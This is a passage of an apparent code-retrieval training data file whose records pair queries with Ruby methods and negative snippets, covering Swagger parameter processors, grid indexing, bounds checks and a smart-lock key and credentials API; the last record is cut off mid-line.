[ "def create_preprocessor_for_type(parameter_name, parameter_type, parameter_required)\n attributes_preprocessors = create_attributes_preprocessors_for_type(parameter_type)\n Sinatra::SwaggerExposer::Processing::SwaggerTypeValuePreprocessor.new(\n parameter_name,\n parameter_required,\n attributes_preprocessors\n )\n end", "def create_parameter_value_processor(parameter)\n type_name = parameter.type\n if type_name == TYPE_ARRAY\n if PRIMITIVE_TYPES.include? parameter.items\n processor_for_values = Sinatra::SwaggerExposer::Processing::SwaggerPrimitiveValueProcessor.new(\n parameter.name,\n false,\n parameter.items,\n parameter.default,\n parameter.params\n )\n else\n processor_for_values = create_processor_for_type(parameter.name, parameter.items, false)\n end\n Sinatra::SwaggerExposer::Processing::SwaggerArrayValueProcessor.new(\n parameter.name,\n parameter.required,\n processor_for_values\n )\n elsif PRIMITIVE_TYPES.include? type_name\n Sinatra::SwaggerExposer::Processing::SwaggerPrimitiveValueProcessor.new(\n parameter.name,\n parameter.required,\n type_name,\n parameter.default,\n parameter.params\n )\n else\n create_processor_for_type(parameter.name, parameter.type, parameter.required)\n end\n end", "def create_processor_for_property(name, type_property, required)\n property_type = type_property.type\n if property_type == TYPE_ARRAY\n if PRIMITIVE_TYPES.include? type_property.items\n processor_for_values = Sinatra::SwaggerExposer::Processing::SwaggerPrimitiveValueProcessor.new(\n name,\n false,\n type_property.items,\n type_property.properties[:default],\n type_property.properties\n )\n else\n processor_for_values = create_processor_for_type(name, type_property.items, false)\n end\n Sinatra::SwaggerExposer::Processing::SwaggerArrayValueProcessor.new(name, required, processor_for_values)\n elsif PRIMITIVE_TYPES.include? property_type\n Sinatra::SwaggerExposer::Processing::SwaggerPrimitiveValueProcessor.new(\n name,\n required,\n property_type,\n type_property.properties[:default],\n type_property.properties\n )\n else\n create_processor_for_type(name, property_type, required)\n end\n end", "def parameter_type; end", "def create_value_preprocessor(parameter)\n type_name = parameter.type\n if type_name == TYPE_ARRAY\n if PRIMITIVE_TYPES.include? parameter.items\n preprocessor_for_values = Sinatra::SwaggerExposer::Processing::SwaggerPrimitiveValuePreprocessor.new(\n parameter.name,\n false,\n parameter.items,\n parameter.default,\n parameter.params\n )\n else\n preprocessor_for_values = create_preprocessor_for_type(parameter.name, parameter.items, false)\n end\n Sinatra::SwaggerExposer::Processing::SwaggerArrayValuePreprocessor.new(parameter.name, parameter.required, preprocessor_for_values)\n elsif PRIMITIVE_TYPES.include? type_name\n Sinatra::SwaggerExposer::Processing::SwaggerPrimitiveValuePreprocessor.new(\n parameter.name,\n parameter.required,\n type_name,\n parameter.default,\n parameter.params\n )\n else\n create_preprocessor_for_type(parameter.name, parameter.type, parameter.required)\n end\n end", "def register_spec_type(*args, &block); end", "def paramtype( param_number )\n #This is a stub, used for indexing\n end", "def parameter_type_name; end", "def param_class; param.source['class'].constantize; end", "def type_spec\n\t\ttoken = @current_token\n\t\tif @current_token.type == Token::INTEGER\n\t\t\teat(Token::INTEGER)\n\t\telse\n\t\t\teat(Token::REAL)\n\t\tend\n\t\tType.new(token)\n\tend", "def typed_params\n definitions_for(:type)\n end", "def prepare_type\n @type = params[:type]\n @klass = @type.constantize\n end", "def type(*) end", "def compile_types( yml, prekey=nil )\n yml.each { |key, val|\n current_key = prekey ? \"#{prekey}.#{key}\" : key\n case val\n when Type\n val.compile( current_key )\n when Hash\n compile_types( val, current_key )\n end\n }\n end", "def create_attributes_processors_for_type(type_name)\n type = @types[type_name]\n attributes_processors = []\n type.properties.each_pair do |property_name, property|\n attributes_processors <<\n create_processor_for_property(\n property_name,\n property,\n type.required.include?(property.name)\n )\n end\n if type.extends\n attributes_processors = attributes_processors + create_attributes_processors_for_type(type.extends)\n end\n attributes_processors\n end", "def buildParameter(name, value, type)\n pp [:got_buildParameter, name, value, type] if $DEBUG\n ptype = TYPE_HASH[ptype.to_s] unless ptype.kind_of?(Fixnum)\n Buby::Implants::Parameter.implant(__buildParameter(name, value, type))\n end", "def type_parser(type)\n case type \n\n when Symbol \n type_defs[type]\n\n when Parser\n type\n\n else\n accept(type)\n end \n end", "def register_type(format, name, encoder_class, decoder_class); end", "def params_type\n dispatcher = @plan_func.class.dispatcher.dispatchers[0]\n dispatcher.params_struct\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Get attributes processor for a type
def create_attributes_processors_for_type(type_name) type = @types[type_name] attributes_processors = [] type.properties.each_pair do |property_name, property| attributes_processors << create_processor_for_property( property_name, property, type.required.include?(property.name) ) end if type.extends attributes_processors = attributes_processors + create_attributes_processors_for_type(type.extends) end attributes_processors end
[ "def create_attributes_preprocessors_for_type(type_name)\n type = @types[type_name]\n attributes_preprocessors = []\n type.properties.each_pair do |property_name, property|\n attributes_preprocessors <<\n create_preprocessor_for_property(\n property_name,\n property,\n type.required.include?(property.name)\n )\n end\n if type.extends\n attributes_preprocessors = attributes_preprocessors + create_attributes_preprocessors_for_type(type.extends)\n end\n attributes_preprocessors\n end", "def attributes_for_type type\n @instance_data.find_all do |record|\n record.first == type\n end.map do |record|\n record[1..-1] # drop type field: BLOCKDEVICE, INSTANCE, RESERVATION\n end\n end", "def get_attribute_type(name)\n @types[name]\n end", "def attributes\n @attributes ||= data[\"attributes\"].map { |attribute| ProductTypeAttribute.new(attribute) }\n end", "def create_processor_for_type(parameter_name, parameter_type, parameter_required)\n attributes_processors = create_attributes_processors_for_type(parameter_type)\n Sinatra::SwaggerExposer::Processing::SwaggerTypeValueProcessor.new(\n parameter_name,\n parameter_required,\n attributes_processors\n )\n end", "def get_attribute_type_by_name attribute_name\n return @names_and_types_of_attributes[attribute_name]\n end", "def type_attrs\n @type_attrs ||= list_type_attrs.to_a\n end", "def _map_identify_mapping_handler(object_type)\n proc_name = PrcLib.model.meta_obj.rh_get(object_type,\n :lambdas, :get_attr_e)\n\n is_controller = PrcLib.model.meta_obj.rh_get(object_type,\n :options, :controller)\n\n return nil if !proc_name && !is_controller\n\n if proc_name\n map_handler = [@process.method(proc_name), proc_name, false]\n map_handler << @process.class\n return map_handler\n end\n\n [@controller.method(:get_attr), :get_attr, true, @controller.class]\n end", "def by_type(type)\n processors.values.detect { |v| v.prefix == type&.upcase }\n end", "def get_attribute_type(klass:, name:)\n get_attribute(klass: klass, name: name)[:type]\n end", "def content_type_to_attributes_method(content_type)\n [content_type.split('/').last, \"to_hashes\"].join('_').to_sym\n end", "def gen_attr_type_hash\n ATTR_TYPES.each { |type, attrs| attrs.each { |a| normalized_attributes[type][a] = true } }\n gen_time_attr_type_hash\n end", "def attribute_type(name)\n @attribute_types[name]\n end", "def gen_attr_type_hash\n attr_types.each { |type, attrs| attrs.each { |a| Environment.normalized_attributes[type][a] = true } }\n gen_time_attr_type_hash\n end", "def get_typePont\n return @typePont\n end", "def editor_for_attr_type(type)\n {xtype: attr_type_to_editor_xtype_map(type)}\n end", "def attribute(name, type, default_value: nil)\n check_uniqueness(name)\n attributes[name] = attr = configuration_object(Attribute, name, type, default_value: default_value)\n singleton_class.class_eval do\n define_method \"#{name}_attribute\" do\n find_attribute(name)\n end\n end\n attr\n end", "def resource_attributes_by_type(ast)\n result = {}\n resources_by_type(ast).each do |type,resources|\n result[type] = resources.map{|resource| resource_attributes(resource)}\n end\n result\n end", "def type\n @props[:type]\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Create a processor for a type property
def create_processor_for_property(name, type_property, required) property_type = type_property.type if property_type == TYPE_ARRAY if PRIMITIVE_TYPES.include? type_property.items processor_for_values = Sinatra::SwaggerExposer::Processing::SwaggerPrimitiveValueProcessor.new( name, false, type_property.items, type_property.properties[:default], type_property.properties ) else processor_for_values = create_processor_for_type(name, type_property.items, false) end Sinatra::SwaggerExposer::Processing::SwaggerArrayValueProcessor.new(name, required, processor_for_values) elsif PRIMITIVE_TYPES.include? property_type Sinatra::SwaggerExposer::Processing::SwaggerPrimitiveValueProcessor.new( name, required, property_type, type_property.properties[:default], type_property.properties ) else create_processor_for_type(name, property_type, required) end end
[ "def create_processor_for_type(parameter_name, parameter_type, parameter_required)\n attributes_processors = create_attributes_processors_for_type(parameter_type)\n Sinatra::SwaggerExposer::Processing::SwaggerTypeValueProcessor.new(\n parameter_name,\n parameter_required,\n attributes_processors\n )\n end", "def create_attributes_processors_for_type(type_name)\n type = @types[type_name]\n attributes_processors = []\n type.properties.each_pair do |property_name, property|\n attributes_processors <<\n create_processor_for_property(\n property_name,\n property,\n type.required.include?(property.name)\n )\n end\n if type.extends\n attributes_processors = attributes_processors + create_attributes_processors_for_type(type.extends)\n end\n attributes_processors\n end", "def set_processor type, processor\n @processors[type] = processor\n end", "def create_attributes_preprocessors_for_type(type_name)\n type = @types[type_name]\n attributes_preprocessors = []\n type.properties.each_pair do |property_name, property|\n attributes_preprocessors <<\n create_preprocessor_for_property(\n property_name,\n property,\n type.required.include?(property.name)\n )\n end\n if type.extends\n attributes_preprocessors = attributes_preprocessors + create_attributes_preprocessors_for_type(type.extends)\n end\n attributes_preprocessors\n end", "def register type, cls\n @@processors[type] = cls\n end", "def register type, cls\r\n @@processors[type] = cls\r\n end", "def create_preprocessor_for_type(parameter_name, parameter_type, parameter_required)\n attributes_preprocessors = create_attributes_preprocessors_for_type(parameter_type)\n Sinatra::SwaggerExposer::Processing::SwaggerTypeValuePreprocessor.new(\n parameter_name,\n parameter_required,\n attributes_preprocessors\n )\n end", "def property_type(**options)\n Property.derive(**options)\n end", "def property_type(type)\n ensure_valid_parameter('property type', type, %w(houses flats))\n @request[:property_type] = type.to_s\n self\n end", "def register_postprocessor(mime_type, klass, proc = nil, &block)\n proc ||= block\n mutate_hash_config(:postprocessors, mime_type) do |processors|\n processors.push(wrap_processor(klass, proc))\n processors\n end\n end", "def create_parameter_value_processor(parameter)\n type_name = parameter.type\n if type_name == TYPE_ARRAY\n if PRIMITIVE_TYPES.include? parameter.items\n processor_for_values = Sinatra::SwaggerExposer::Processing::SwaggerPrimitiveValueProcessor.new(\n parameter.name,\n false,\n parameter.items,\n parameter.default,\n parameter.params\n )\n else\n processor_for_values = create_processor_for_type(parameter.name, parameter.items, false)\n end\n Sinatra::SwaggerExposer::Processing::SwaggerArrayValueProcessor.new(\n parameter.name,\n parameter.required,\n processor_for_values\n )\n elsif PRIMITIVE_TYPES.include? type_name\n Sinatra::SwaggerExposer::Processing::SwaggerPrimitiveValueProcessor.new(\n parameter.name,\n parameter.required,\n type_name,\n parameter.default,\n parameter.params\n )\n else\n create_processor_for_type(parameter.name, parameter.type, parameter.required)\n end\n end", "def register_postprocessor(mime_type, klass, &block)\n expire_index!\n\n if block_given?\n name = klass.to_s\n klass = Class.new(Processor) do\n @name = name\n @processor = block\n end\n end\n\n @postprocessors[mime_type].push(klass)\n end", "def create_property(field_type, description, name)\n return property = Property.create(field_type: field_type, description: description, name: name)\nend", "def register_preprocessor(mime_type, klass, &block)\n expire_index!\n\n if block_given?\n name = klass.to_s\n klass = Class.new(Processor) do\n @name = name\n @processor = block\n end\n end\n\n @preprocessors[mime_type].push(klass)\n end", "def create_property_method\n @resource.class.properties.each do |type|\n name = type.name\n self.class.send(:define_method, name) do\n get_value(name)\n end\n self.class.send(:define_method, \"#{name}=\") do |value|\n set_value(name,resource[name])\n end\n end\n end", "def type\n @props[:type]\n end", "def create_property(name, type, init: true)\n Orocos.load_typekit_for(type, false)\n orocos_type_name = Orocos.find_orocos_type_name_by_type(type)\n Orocos.load_typekit_for(orocos_type_name, true)\n\n local_property = @local_task.do_create_property(Property, name, orocos_type_name)\n @local_properties[local_property.name] = local_property\n @properties[local_property.name] = local_property\n if init\n local_property.write(local_property.new_sample)\n end\n local_property\n end", "def property_class\n @property_class ||= lambda { |type, complex_type|\n klass = Class.new ::FrOData::Properties::Complex\n klass.send(:define_method, :type) { type }\n klass.send(:define_method, :complex_type) { complex_type }\n klass\n }.call(type, self)\n end", "def get_property_type(entity_name, property_name)\n metadata.xpath(\"//EntityType[@Name='#{entity_name}']/Property[@Name='#{property_name}']\").first.attributes['Type'].value\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Translate cell index into point [x,y]
def point(index) return [index % Grid::MaxCol, index / Grid::MaxCol] end
[ "def cell_location_at_point(x, y)\n [x / WIDTH, y / HEIGHT ]\n end", "def cell_at_point(x, y)\n [x / Entity::WIDTH, y / Entity::HEIGHT ]\n end", "def cell_at_pos(row,column)\n index = row * 9 +column \n @cells[index]\n end", "def index2pos(idx)\n idx = idx.to_i\n raise InvalidCellError.new(idx: idx) unless idx.between?(0,cells.size-1)\n [(idx%size), (idx/size)]\n end", "def get_cell_at_coords(x, y)\n\t\treturn @rows[y - 1][x - 1]\n\tend", "def get_cell_index(index_row, index_col)\n cell_row_index = @width * 2 * (index_row * 2 + 1)\n offset = (index_row * 2 + 2) + (index_col * 2)\n cell_row_index + offset\n end", "def index_for(x, y, coordinate_system=:row_col)\n case coordinate_system\n when :row_col\n x * 9 + y\n when :col_row\n y * 9 + x\n when :box\n [0,3,6,27,30,33,54,57,60][x] + [0,1,2,9,10,11,18,19,20][y]\n end\n end", "def cell(index)\n @cells[index]\n end", "def cell_at(x, y)\n if cells && x < width && y < height && x >= 0 && y >= 0\n cells[y * width + x]\n end\n end", "def get_cell(row_index, column_index); end", "def getCoords (index)\n return index%10, index/10\n end", "def coordinates_for_cell(n)\n raise \"Invalid cell index\" unless (0..80).include? n\n row = n / 9\n column = n % 9\n return row, column\n end", "def get_coordinates(cell)\n row = @cell_coordinates[cell][0]\n col = @cell_coordinates[cell][1]\n [row, col]\n end", "def row_col_to_xy(row_col) \n [ row_col[1]*@cell_width, (@row_count-row_col[0])*@cell_height] # oh, that was easy!\n end", "def pos2index(col, row)\n raise InvalidCellError.new(col: col, row: row) unless valid?(col, row)\n (row * size + col)\n end", "def point_to_index(x,y)\n return (x*(bpp >> 3))+(y*((bpp >> 3)*(width)))\n end", "def get_cell(x, y)\n grid[x][y]\n end", "def cell_at(x, y)\n return nil if (x < 0 || y < 0)\n @cells[y][x] if @cells[y]\n end", "def set_current_cell\n @current_cell = @map.cells_at[@x][@y]\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Simply check if the value is out of bound
def out_of_bound?(value, min, max) return value > max || value < min end
[ "def out_of_range?\n value < 1 || value > 12\n end", "def out_of_bounds?\n _size > max_size!\n end", "def check_bounds(value)\n return value >= self.bound.lower_bound && value <= self.bound.upper_bound\n end", "def x_out_of_bounds?(value)\n value < 1 || value > Terminal.width\n end", "def out_of_bounds?(i)\n !i.between?(0, 8)\n end", "def out_of_range(value, expected_range, msg = nil)\n raise ValueRangeError.exception(value, expected_range, msg)\n end", "def check_bounds(val)\n !(val > UPPER_BOUND || val < LOWER_BOUND)\n end", "def out_of_bounds?(x,y)\n x < 0 || y < 0 || x > @size - 1 || y > @size - 1\n end", "def out_of_bounds?(page)\n page.to_i > ((@total.to_f / 10).ceil)\n end", "def is_value_within_limits?(value)\n value >= @lower_limit && value <= upper_limit\n end", "def validate!(num)\n raise \"Out of bounds\" unless is_valid?(num)\n end", "def verify_limits(value, limit1, limit2) #method\n value = get_value(value)\n if !value.between?(limit1, limit2)\n puts \"Fatal Error: #{value} exceeds limit.\"\n exit\n end\n end", "def eligible?(n)\n n < @limit\n end", "def out_of_range?(index)\n result = false\n result = true if !low.nil? && index < low\n result = true if !high.nil? && index > high\n\n return result\n end", "def in_range?(index)\n index >= 0 and index < size\n end", "def out_of_range?\n @page > @total_pages\n end", "def defined_at?(n)\n n < length and -n <= length\n end", "def y_out_of_bounds?(value)\n value < 1 || value > Terminal.height\n end", "def greater_or_equal_to?(value, limit)\n integer?(value) && value >= limit\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
PUT /locks/ or /locks/serial/ This endpoint is used in both lock commissioning and lock status sync
def update return if params_missing([ :id, :lock_serial ], params, true) lock = Lock.get_active_else_not(params) return render_error_modelname(404, :MISSING_RECORD, Lock) if !lock # Only the owner can update the lock record return render_error(403, :NOT_BELONGING, Lock) if lock.user_id != @current_user_device.user_id return render_error(404, :LOCK_DECOMMISSIONED) if lock.decommissioned? lock.assign_attributes(params_app_allowed) new_lock = false if !lock.commissioned? # New lock, set it all up new_lock = true lock.commission_date = DateTime.now end return check_save_failure(lock) if !lock.save # Owner's key not created until commissioning is completed (saved) successfully. # TODO Transaction around this and the commissioning? if new_lock key = create_user_key(lock.id, lock.user, lock.user) # Validation errors may fail in interesting ways here. end render_lock_reply(lock) end
[ "def update\n respond_to do |format|\n if @lock.update(lock_params)\n format.html { redirect_to @lock, notice: 'Lock was successfully updated.' }\n format.json { render :show, status: :ok, location: @lock }\n else\n format.html { render :edit }\n format.json { render json: @lock.errors, status: :unprocessable_entity }\n end\n end\n end", "def update #PUT\n return if params_missing([ :lock_id, :user_id ], params)\n\n lock_id = params[:lock_id]\n user_id = params[:user_id]\n admin = params[:admin]\n # validate: @current_user is owner/admin for (lock_)id\n # Why can't they document the basics: find*() return one/array\n # of ActiveRecord::Base objects, where() returns a relation, e.g.\n # ActiveRecord:Relation:ActiveRecord_Relation_Lock\n # find is annoying because it exceptions when not found!\n # lock = Lock.includes(:users).find(lock_id)\n lock = Lock.includes(:users).find_by_id(lock_id)\n return render_error_modelname(404, :MISSING_RECORD, Lock) if lock == nil\n\n if ! lock.account_is_admin?(@current_account)\n return render_error(403, :ADMIN_ACCESS)\n end\n # XXX validate: user_id is not owner of lock if admin == true\n # XXX use scopes, to stop deprecated message\n # XXX validate: valid admin boolean true/false (1 silently fails)\n user = User.find_by_id(user_id)\n return render_error_modelname(404, :MISSING_RECORD, User) if user == nil\n lu = LocksUser.where(:lock_id => lock_id,\n :user_id => user_id).first\n if lu\n lu.admin = admin\n lu.sharer_user_id = @current_account.user.id\n else\n lu = LocksUser.new(:lock_id => lock_id,\n :sharer_user_id => @current_account.user.id,\n :user_id => user_id,\n :admin => admin)\n end\n lu.save!\n\n # Create/delete the key that gives this administrator 24/7 access.\n # If the user already had a 24x7 key, this assumes that it\n # should be kept when admin is enabled then disabled.\n # Not how things are done now - so this is buggy, and only use\n # of obsolete key.auto_generated.\n if admin != nil\n if admin\n if ! Key.has_24_7(lock_id, user_id)\n # Validation errors possible here if user already has a\n # time-limited key. Need to delete non-24x7 key first.\n key = create_user_key(lock.id, user, @current_account.user)\n # This hack goes away (actually this whole endpoint!)\n key.auto_generated = true\n key.save!\n end\n else\n # For now, all auto_generated keys are 24/7, revoke the one created above.\n # Really should be revoked to preserve history.\n Key.auto_generated(lock_id, user_id).try(:delete)\n end\n end\n\n render_success\n end", "def lock!(resource, uuid, *lock_names)\n build_locks(resource, lock_names, uuid).each(&:save!)\n end", "def lock\n request_body = {\"index\" => {\"blocks\" => {\"write\" => true}}}.to_json\n @client.put(\"_settings\", request_body, content_type: :json)\n end", "def lock(path, body, initheader = nil)\n request(Lock.new(path, initheader), body)\n end", "def update\n respond_to do |format|\n if @lock_request.update(lock_request_params)\n format.html { redirect_to @lock_request, notice: 'Lock request was successfully updated.' }\n format.json { render :show, status: :ok, location: @lock_request }\n else\n format.html { render :edit }\n format.json { render json: @lock_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def lock\n verify_response(post(\"room/#{id}/lock\", {}, :ajax => true), :success)\n end", "def update_lock_status(lock)\n if lock && locked_at.blank?\n lock_access!\n elsif !locked_at.blank?\n unlock_access!\n end\n end", "def lock\n control_connection.write ControlPacket.new(:lock).serialize\n end", "def http_lock(request, response)\n uri = request.path\n existing_locks = locks(uri)\n\n body = request.body_as_string\n if !body.blank?\n # This is a new lock request\n\n existing_lock = nil\n # Checking if there's already non-shared locks on the uri.\n existing_locks.each do |existing_lock|\n if existing_lock.scope == LockInfo::EXCLUSIVE\n fail Exception::ConflictingLock.new(existing_lock)\n end\n end\n\n lock_info = parse_lock_request(body)\n lock_info.depth = @server.http_depth\n lock_info.uri = uri\n if existing_lock && lock_info.scope != LockInfo::SHARED\n fail Exception::ConflictingLock(existing_lock)\n end\n else\n # Gonna check if this was a lock refresh.\n existing_locks = locks(uri)\n conditions = @server.if_conditions(request)\n found = nil\n\n existing_locks.each do |existing_lock|\n conditions.each do |condition|\n condition['tokens'].each do |token|\n if token['token'] == 'opaquelocktoken:' + existing_lock.token\n found = existing_lock\n break\n end\n end\n break if found\n end\n break if found\n end\n\n # If none were found, this request is in error.\n unless found\n if existing_locks.any?\n fail Exception::Locked.new(existing_locks.first)\n else\n fail Exception::BadRequest, 'An xml body is required for lock requests'\n end\n end\n\n # This must have been a lock refresh\n lock_info = found\n\n # The resource could have been locked through another uri.\n uri = lock_info.uri unless uri == lock_info.uri\n end\n\n timeout = timeout_header\n lock_info.timeout = timeout if timeout\n\n new_file = false\n\n # If we got this far.. we should go check if this node actually exists. If this is not the case, we need to create it first\n begin\n @server.tree.node_for_path(uri)\n\n # We need to call the beforeWriteContent event for RFC3744\n # Edit: looks like this is not used, and causing problems now.\n #\n # See Issue 222\n # @server.emit('beforeWriteContent',array(uri))\n rescue Exception::NotFound => e\n # It didn't, lets create it\n @server.create_file(uri, StringIO.new)\n new_file = true\n end\n\n lock_node(uri, lock_info)\n\n response.update_header('Content-Type', 'application/xml; charset=utf-8')\n response.update_header('Lock-Token', '<opaquelocktoken:' + lock_info.token + '>')\n response.status = new_file ? 201 : 200\n response.body = generate_lock_response(lock_info)\n\n # Returning false will interupt the event chain and mark this method\n # as 'handled'.\n false\n end", "def update\n respond_to do |format|\n if @migrations_lock.update(migrations_lock_params)\n format.html { redirect_to @migrations_lock, notice: 'Migrations lock was successfully updated.' }\n format.json { render :show, status: :ok, location: @migrations_lock }\n else\n format.html { render :edit }\n format.json { render json: @migrations_lock.errors, status: :unprocessable_entity }\n end\n end\n end", "def bulk_lock_transaction(model) path = \"/api/v2/transactions/lock\"\n post(path, model, {}, AvaTax::VERSION) end", "def test_multi_resource_lock_child_locked\n response = @request.delete('coll')\n\n response = @request.mkcol('coll')\n assert_equal '201', response.status\n\n response = @request.mkcol('coll/subcoll')\n assert_equal '201', response.status\n\n response = @request.put('coll/file', @stream)\n assert_equal '201', response.status\n\n lock = lock 'coll/subcoll'\n\n response = @request.lock 'coll'\n assert_equal '207', response.status\n resps = response.responses\n assert_equal '424', resps[@uri.path + 'coll'].status\n assert_equal '423', resps[@uri.path + 'coll/subcoll'].status\n\n response = @request.delete('coll', :depth => RubyDav::INFINITY,\n :if => { 'coll/subcoll' => lock.token })\n end", "def test_shared_locknull\n # ensure that locknull file doesn't exist\n response = @request.delete('locknull')\n\n # create a shared write locked null resource\n lock1 = lock 'locknull', :scope => :shared, :depth => 0\n\n # get another shared lock\n lock2 = lock 'locknull', :scope => :shared, :depth => 0\n\n unlock('locknull', lock2.token)\n\n response = @request.propfind '', 1, :\"current-user-privilege-set\"\n assert_not_nil response[\"#{@uri.path}locknull\"]\n\n # assert that old locktoken doesn't work anymore\n response = @request.unlock('locknull', lock2.token)\n assert_equal '409', response.status # Sec 9.11.1 of draft 18\n\n unlock('locknull', lock1.token)\n\n response = @request.propfind '', 1, :\"current-user-privilege-set\"\n assert_nil response[\"#{@uri.path}locknull\"]\n end", "def locked=(lock)\n end", "def remoteLock deviceId, oldPasscode = '', passcode = ''\n options = {\n 'device' => deviceId,\n 'oldPasscode' => oldPasscode,\n 'passcode' => passcode\n }\n post REMOTE_LOCK, options\n end", "def lock!\n lock_or_unlock!(action: Smartcar::LOCK)\n end", "def test_unlock_after_delete\n body = <<XML\n<?xml version=\"1.0\"?>\n<D:lockinfo xmlns:D=\"DAV:\">\n <D:lockscope><D:exclusive/></D:lockscope>\n <D:locktype><D:write/></D:locktype>\n</D:lockinfo>\nXML\n\n request = Http::Request.new(\n 'LOCK',\n '/file.txt',\n {},\n body\n )\n response = request(request)\n assert_equal(201, response.status, response.body_as_string)\n\n assert_equal(\n 1,\n @locks_backend.locks('file.txt', true).size\n )\n\n request = Http::Request.new(\n 'DELETE',\n '/file.txt',\n 'If' => \"(#{response.header('Lock-Token')})\"\n )\n response = request(request)\n assert_equal(204, response.status, response.body_as_string)\n\n assert_equal(\n 0,\n @locks_backend.locks('file.txt', true).size\n )\n end", "def lock\n wallet_required!\n response = rpc(action: :wallet_lock)\n !response.empty? && response[:locked] == '1'\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
GET /locks/credentials/:id or /locks/credentials/serial/:lock_serial Fetches the signed account/user_device id and key id data for the lock's keys.
def get_credentials return if params_missing([ :id, :lock_serial ], params, true) return if !get_lock_id(params) lock = @lock || Lock.find(params[:lock_id]) if !lock render_error_modelname(404, :MISSING_RECORD, Lock) return end json = { users_devices: {}, # All users_devices user+public_key over all key owners. keys: [], # all keys for lock. } # Don't care if lock is decommissioned? keys = Key.active_keys.where(lock_id: params[:lock_id]).order(:id) keys.each do |key| json[:keys] << key.id UserDevice.where(user_id: key.user_id).order(:id).each do |ud| next if json[:users_devices][ud.id] rsa = CryptoRSA.new(ud.private_key) json[:users_devices][ud.id] = { user_id: ud.user_id, public_key: rsa.get_public_key_pem } end end json[:server_time] = Time.now.utc.iso8601(9) json[:expire] = ApplicationController.CREDENTIAL_MAX_TRANSIT_TIME json[:lock] = params[:lock_id].to_i # Generate a signature of the json-encoded secure data. json_string = render_to_string :json => json json = { credentials: json, signature: GojiMasterKeysGen.sign(json_string), } lock.new_credentials = false if lock.save # Don't need OTA values here, done on immediately following sync. render :json => json else check_save_failure(lock) end end
[ "def get_lock(account_id, template_id)\n data, _status_code, _headers = get_lock_with_http_info(account_id, template_id)\n return data\n end", "def get_locks\n HTTParty.get(\"#{$base_url}/partners/#{$partner_id}/locks\", {headers: $headers}).parsed_response['locks']\nend", "def get_lock_with_http_info(account_id, template_id)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: TemplatesApi.get_lock ...\"\n end\n # verify the required parameter 'account_id' is set\n fail ArgumentError, \"Missing the required parameter 'account_id' when calling TemplatesApi.get_lock\" if account_id.nil?\n # verify the required parameter 'template_id' is set\n fail ArgumentError, \"Missing the required parameter 'template_id' when calling TemplatesApi.get_lock\" if template_id.nil?\n # resource path\n local_var_path = \"/v2.1/accounts/{accountId}/templates/{templateId}/lock\".sub('{format}','json').sub('{' + 'accountId' + '}', account_id.to_s).sub('{' + 'templateId' + '}', template_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LockInformation')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TemplatesApi#get_lock\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def get_key(username, password)\n request(:get_key, :id => username, :password => password)\n end", "def index\n @locks = Lock.paginate(:page => params[:offset], :per_page => 20)\n\n locks_hash()\n respond_to do |format|\n format.html\n format.json { render :json => @locks_hash }\n format.xml { render :xml => @locks_hash }\n end\n end", "def index\n if current_user\n @locks = Lock.where(\"user_id=\"+current_user.id.to_s)\n else\n @locks = Lock.all\n end\n end", "def get_lock_id\n @lock_id\n end", "def update #PUT\n return if params_missing([ :lock_id, :user_id ], params)\n\n lock_id = params[:lock_id]\n user_id = params[:user_id]\n admin = params[:admin]\n # validate: @current_user is owner/admin for (lock_)id\n # Why can't they document the basics: find*() return one/array\n # of ActiveRecord::Base objects, where() returns a relation, e.g.\n # ActiveRecord:Relation:ActiveRecord_Relation_Lock\n # find is annoying because it exceptions when not found!\n # lock = Lock.includes(:users).find(lock_id)\n lock = Lock.includes(:users).find_by_id(lock_id)\n return render_error_modelname(404, :MISSING_RECORD, Lock) if lock == nil\n\n if ! lock.account_is_admin?(@current_account)\n return render_error(403, :ADMIN_ACCESS)\n end\n # XXX validate: user_id is not owner of lock if admin == true\n # XXX use scopes, to stop deprecated message\n # XXX validate: valid admin boolean true/false (1 silently fails)\n user = User.find_by_id(user_id)\n return render_error_modelname(404, :MISSING_RECORD, User) if user == nil\n lu = LocksUser.where(:lock_id => lock_id,\n :user_id => user_id).first\n if lu\n lu.admin = admin\n lu.sharer_user_id = @current_account.user.id\n else\n lu = LocksUser.new(:lock_id => lock_id,\n :sharer_user_id => @current_account.user.id,\n :user_id => user_id,\n :admin => admin)\n end\n lu.save!\n\n # Create/delete the key that gives this administrator 24/7 access.\n # If the user already had a 24x7 key, this assumes that it\n # should be kept when admin is enabled then disabled.\n # Not how things are done now - so this is buggy, and only use\n # of obsolete key.auto_generated.\n if admin != nil\n if admin\n if ! Key.has_24_7(lock_id, user_id)\n # Validation errors possible here if user already has a\n # time-limited key. Need to delete non-24x7 key first.\n key = create_user_key(lock.id, user, @current_account.user)\n # This hack goes away (actually this whole endpoint!)\n key.auto_generated = true\n key.save!\n end\n else\n # For now, all auto_generated keys are 24/7, revoke the one created above.\n # Really should be revoked to preserve history.\n Key.auto_generated(lock_id, user_id).try(:delete)\n end\n end\n\n render_success\n end", "def get_locker (key)\n\n lock = get_lock key\n return nil unless lock\n lock[0]\n end", "def key_credential\n return @key_credential\n end", "def show\n @key_ring = KeyRing.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @key_ring }\n end\n end", "def current_lock_names\n login\n LockDefinitionsPage.new(browser, base_url).locks_options\n end", "def get_and_lock(id, lock_time, options = GetAndLockOptions.new)\n resp = 